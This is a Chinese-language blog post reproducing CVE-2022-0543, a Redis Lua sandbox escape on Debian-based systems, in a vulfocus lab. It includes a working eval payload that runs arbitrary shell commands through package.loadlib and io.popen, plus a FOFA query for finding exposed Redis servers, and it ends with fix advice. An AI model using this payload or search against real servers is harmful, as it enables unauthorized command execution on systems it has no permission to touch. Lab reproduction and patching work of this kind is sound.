Redis Lua沙盒绕过-命令执行漏洞复现-CVE-2022-0543

1 环境部署

        本次复现依托环境为vulfocus部署的镜像环境,严格按照文章步骤操作,否则可能会出现异常报错。


2 漏洞说明

        Debian和Ubuntu发行版的源在打包Redis时,不慎在Lua沙箱中遗留了一个对象package,攻击者可以利用这个对象提供的方法加载动态链接库liblua里的函数,进而逃逸沙箱执行任意命令;要利用此漏洞,攻击者需具有执行 eval 命令的权限(攻击者经过认证、或者 Redis 本身未设置鉴权检查)。

影响版本

  • 运行在 Debian 系的 Linux 发行版系统(Debian、Ubuntu 等)上的 Redis 服务
  • 2.2 <= redis < 5.0.13
  • 2.2 <= redis < 6.0.15
  • 2.2 <= redis < 6.2.5

3 漏洞复现

3.1 连接redis

        当redis经过认证、或者 Redis 本身未设置鉴权检查可以直接连接redis服务。这里使用Another Redis Desktop Manager工具进行连接。

3.2 漏洞poc

Poc:执行whoami命令
eval 'local io_l = package.loadlib("/usr/lib/x86_64-linux-gnu/liblua5.1.so.0", "luaopen_io"); local io = io_l(); local f = io.popen("whoami", "r"); local res = f:read("*a"); f:close(); return res' 0

可以将poc中的whoami更改为自己需要的命令。

使用Another Redis Desktop Manager工具中的redis控制台输入。


4 fofa语法

port = "6379"

fofa搜索看到回包中是报错并且有信息返回,判断可能存在该漏洞。

使用工具连接发现成功连上。


5 修复建议

  • 更新版本
  • 在 Lua 初始化的末尾添加package=nil
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值